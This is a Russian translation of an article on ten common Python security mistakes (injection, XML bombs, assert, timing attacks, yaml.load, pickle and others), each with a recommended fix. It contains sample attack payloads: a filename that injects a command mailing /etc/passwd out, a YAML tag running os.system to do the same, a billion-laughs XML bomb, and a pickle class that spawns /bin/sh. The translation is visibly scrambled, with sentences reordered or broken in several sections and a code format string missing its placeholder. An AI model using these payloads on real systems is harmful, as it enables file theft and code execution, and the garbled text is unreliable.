Главная » Хабрахабр » [Перевод] 10 самых распространенных ошибок безопасности в Python и как их избежать

[Перевод] 10 самых распространенных ошибок безопасности в Python и как их избежать

Всем привет!

Исправляем нашу оплошность и надеемся, что он вам понравится. Наша очередная группа по Python успешно запустилась в понедельник, но у нас остался ещё один материальчик, который мы не успели разместить до старта.

Поехали!

Когда вы изучаете язык, модуль или фреймворк, вы узнаете, как это предполагается использовать. Писать защищенный код сложно. Python не является исключением, даже в документации стандартной библиотеки есть описание плохих практик написания защищенных приложений. Вам также нужно подумать о том, как их можно использовать неправильно в контексте безопасности. Тем не менее, многие Python-разработчики просто не знают о них.

Вот мой топ-10 (в случайном порядке) самых распространенных ошибок в приложениях, написанных на Python.

1. Внедрение инъекций

Существует множество типов атак с внедрением кода и все они достаточно распространены. Они затрагивают все языки, фреймворки и окружения.

Я прочитал много кода, где «экранирование кавычек» считается исправлением. Внедрение SQL — это когда вы пишете SQL-запросы напрямую, а не с помощью ORM и смешиваете строковые литералы с переменными. Вы можете ознакомиться со многими способами внедрения SQL в этой шпаргалке. Это не так.

При вызове локальных команд существует возможность того, что кто-то установит эти значения на что-то вредоносное. Внедрение команд — это когда в любое время вы вызываете процесс с помощью popen, subprocess, os.system и принимаете аргументы от переменных.

Вы вызываете подпроцесс с именем файла, предоставленным пользователем: Представьте себе этот простой скрипт [credit].

import subprocess
def transcode_file(request, filename): command = 'ffmpeg -i "" output_file.mpg'.format(source=filename) subprocess.call(command, shell=True) # a bad idea!

Злоумышленник устанавливает значение filename "; cat /etc/passwd | mail them@domain.com или что-то такое же опасное.

Решение:

Если у вас нет веских причин, не создавайте SQL-запросы вручную. Стерилизируйте ввод с помощью утилит, которые идут вместе с вашем веб-фреймворком, если используете какой-то. Большинство ORM имеют встроенные методы дезинфекции.

Для оболочки используйте модуль shlex, чтобы правильно экранировать ввод.

2.Парсинг XML

Если ваше приложение загружает и парсит XML-файлы, есть вероятность того, что вы используете один из стандартных библиотечных модулей XML. Существует несколько распространенных атак через XML. В основном в DoS-стиле (предназначенные для того, чтобы уронить систему, а не для фильтрации данных). Эти атаки являются достаточно распространенными, особенно если вы парсите внешние (т.е. те, которым нельзя доверять) XML-файлы.

В принципе, идея состоит в том, что вы можете делать ссылочные объекты в XML, поэтому, когда ваш непритязательный XML-парсер пытается загрузить этот файл в память, он потребляет гигабайты оперативной памяти. Один из них называется “billion laughs” (дословно “миллиард смеха”) из-за полезной нагрузки, обычно содержащей много (миллиарды) «lol». Попробуйте, если не верите мне 🙂

<?xml version="1.0"?>
<!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Другие атаки используют расширение внешней сущностью. XML поддерживает ссылки на сущности из внешних URL-адресов, парсер XML обычно запрашивает и загружает этот ресурс без каких-либо проблем. «Злоумышленник может обойти брандмауэры и получить доступ к ограниченным ресурсам, поскольку все запросы сделаны из внутреннего и надежного IP-адреса, а не извне».

Возможно, вы даже не подозреваете, что одна из ваших зависимостей открыта для таких типов атак.
Что же происходит в Python? Еще одна ситуация, которую стоит рассмотреть — это сторонние пакеты для декодирования XML, от которых вы зависите, такие как файлы конфигурации, удаленные API. Это хорошо документировано тут. Ну, стандартные библиотечные модули, etree, DOM, xmlrpc широко открыты для таких атак.

Решение:

Он добавляет защитные меры против таких типов атак. Используйте defusedxml в качестве замены для стандартных модулей библиотеки.

3. Инструкции Assert

Не используйте assert для защиты фрагментов кода, к которым пользователь не должен обращаться. Возьмем этот простой пример:

def foo(request, user): assert user.is_admin, “user does not have access” # secure code...

Сейчас по умолчанию Python выполняется с __debug__ равным true, но в боевом окружении он обычно запускается с оптимизацией. Инструкция assert будет пропущена и программа перейдет прямо к защищенному коду независимо от того, является ли пользователь is_admin или нет.

Решение:

Используйте инструкции assert только для взаимодействия с другими разработчиками, например, в модульных тестах или для защиты от неправильного использования API.

4. Временные атаки

Временные атаки — это, по сути, способ разоблачения поведения и алгоритма программы путем определения времени, необходимого для сравнения предоставленных значений. Временные атаки требуют точности, поэтому они обычно не работают в удаленной сети с высокой задержкой. Из-за переменной задержки, связанной с большинством веб-приложений, практически невозможно записать временную атаку через HTTP веб-серверы.

Пример. Но если у вас есть приложение командной строки, которое запрашивает пароль, злоумышленник может написать простой скрипт, чтобы вычислить сколько времени потребуется для сравнения их значений с фактическим паролем.

Если вы хотите увидеть, как они работают, есть несколько впечатляющих примеров, таких как эта временная атака на основе SSH, написанная на Python.

Решение:

5 для сравнения паролей и других приватных значений. Используйте secrets.compare_digest, введенный в Python 3.

5. Загрязнённый site-packages или путь импорта

В Python очень гибкая система импорта. Это здорово, когда вы пытаетесь написать monkey-патчи для своих тестов или перегружаете основные функции.

Но это одна из самых больших дыр в безопасности Python.

Установка сторонних пакетов в ваш site-packages, будь то в виртуальном окружении или глобальный site-packages (что обычно обескураживает), обеспечивает вам дыры в безопасности в этих пакетах.

Самое большое инцидент, к счастью, не был опасным и просто «поставил точку» в том, что на проблему не обращали внимания. Были случаи публикации пакетов PyPi с именами, похожими на имена популярных пакетов, но выполняющие произвольный код.

д.). Другая ситуация, о которой нужно подумать, — это зависимости ваших зависимостей (и т. Они могут включать уязвимости, и они также могут переопределять поведение по умолчанию в Python через систему импорта.

Решение:

Посмотрите на PyUp.io и на их службу безопасности. Проверяйте ваши пакеты. Проверьте подписи пакетов. Используйте виртуальное окружение для всех приложений и убедитесь, что ваш глобальный site-packages максимально чистый.

6. Временные файлы

Чтобы создать временные файлы в Python, вы обычно сначала генерируете имя файла, используя функцию mktemp(), а затем создаете файл с использованием сгененрированного имени. «Это небезопасно, потому что другой процесс может создать файл с таким же именем за время между вызовом mktemp() и последующей попыткой создать файл первым процессом». Это означает, что он может обмануть ваше приложение либо загружая неправильные данные, либо подвергая опасности другие временные данные.

Последние версии Python будут показывать runtime предупреждение, если вы вызываете неправильный метод.

Решение:

Используйте модуль tempfile и используйте mkstemp, если вам нужно создавать временные файлы.

7. Использование yaml.load

Цитируя документацию PyYAML:

Небезопасно вызывать yaml.load с любыми данными, полученными от ненадежного источника! Предупреждение. yaml.load так же эффективен, как pickle.load, и поэтому может вызывать любую функцию Python.

Вы можете отдать Ansible Vault значение в качестве (валидного) YAML. Этот прекрасный пример найден в популярном проекте Ansible. Он вызывает os.system() с аргументами, представленными в файле.

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

Таким образом, загружая файлы YAML из предоставленных пользователем значений вы широко открыты для атаки.

Демонстрация этого в действии, благодарю Anthony Sottile

Решение:

Используйте yaml.safe_load, почти всегда, если у вас нет действительно веской причины не делать этого.

8. Pickles

Десериализация консервированных данных — это так же плохо, как и YAML. Классы Python могут объявлять магический метод __reduce__, который возвращает строку, или кортеж с вызываемым, и передавать аргументы для вызова при консервации. Злоумышленник может использовать это для включения ссылок на один из модулей подпроцесса для запуска произвольных команд на хосте.

Есть еще много примеров того, как использовать pickle. Этот замечательный пример показывает, как консервировать класс, который открывает оболочку на Python 2.

import cPickle
import subprocess
import base64 class RunBinSh(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh',),)) print base64.b64encode(cPickle.dumps(RunBinSh()))

Решение:

Вместо этого используйте другой шаблон сериализации, например JSON. Никогда не расконсервируйте данные из ненадежного или не прошедшего проверку источника.

9. Использовать систему Python runtime и не патчить ее

Большинство POSIX-систем поставляются с версией Python 2. Естественно, уже устаревшей.

Общие проблемы безопасности в C связаны с распределением памяти, как и ошибки переполнения буфера. Поскольку «Python», то есть CPython написан на C, бывают случаи, когда интерпретатор Python сам имеет дыры.

Точнее, если вы устанавливаете патчи для вашего runtime. На протяжении многих лет у CPython было несколько уязвимостей превышения или переполнения, каждый из которых был исправлен и пофикшен в последующих релизах.
Так что вы в безопасности.

7. Вот пример для версии 2. Этот пример для любой Ubuntu до 17 версии без установленных патчей. 13 и ниже, уязвимость с переполнением целых чисел, которая позволяет выполнять код.

Решение:

Установите последнюю версию Python для ваших боевых приложений и все патчи!

10. Не устанавливать патчи для ваших зависимостей

Подобно тому, как вы «не устанавливаете» патчи для своего runtime, вам также необходимо регулярно устанавливать патчи для ваших зависимостей.

Идея заключается в том, что «это версии, которые работают», поэтому каждый оставляет ее в покое. Я думаю, что практика «закрепления» версий пакетов Python от PyPi в пакетах ужасает.

Разработчики этих пакетов исправляют проблемы безопасности. Все уязвимости в коде, о которых я упоминал выше, так же важны, когда они существуют в пакетах, которые использует ваше приложение. Все время.

Решение:

Используйте сервисы, такие как PyUp.io, чтобы проверять наличие обновлений, настроить запросы на загрузку/слияние в приложение и запустить тесты для обновления пакетов.
Используйте инструменты, например, InSpec, для проверки установленных версий в продакшен окружении и обеспечения исправления минимальных версий или диапазонов версий.

Вы пробовали Bandit?

Он называется bandit, просто pip install bandit и bandit ./codedir Есть большой статический линтер, который найдет все эти проблемы в вашем коде и многое другое!

PyCQA/bandit

Выражаю благодарность RedHat за эту замечательную статью, которую я использовал в некоторых своих исследованиях.

THE END!

Как всегда будем рады видеть ваши комментарии и вопросы 🙂


Оставить комментарий

Ваш email нигде не будет показан
Обязательные для заполнения поля помечены *

*

x

Ещё Hi-Tech Интересное!

[Из песочницы] Решаем проблемы типов данных в Ruby или Make data reliable again

В этой статье я хотел бы рассказать о том, какие проблемы с типами данных есть в Ruby, с какими проблемами столкнулся я, как их можно решить и как сделать так, чтобы на данные, с которыми мы работаем, можно было положиться. ...

SamsPcbGuide, часть 8: Как получить правильную осциллограмму

Наверно, все умеют пользоваться осциллографом. Это очень легко – цепляешь «крокодил» к земле, остриё щупа – в необходимую точку измерения, регулируешь масштаб по вертикальной и горизонтальной осям и получаешь временную развёртку напряжения в этой точке. Да, так можно делать, но ...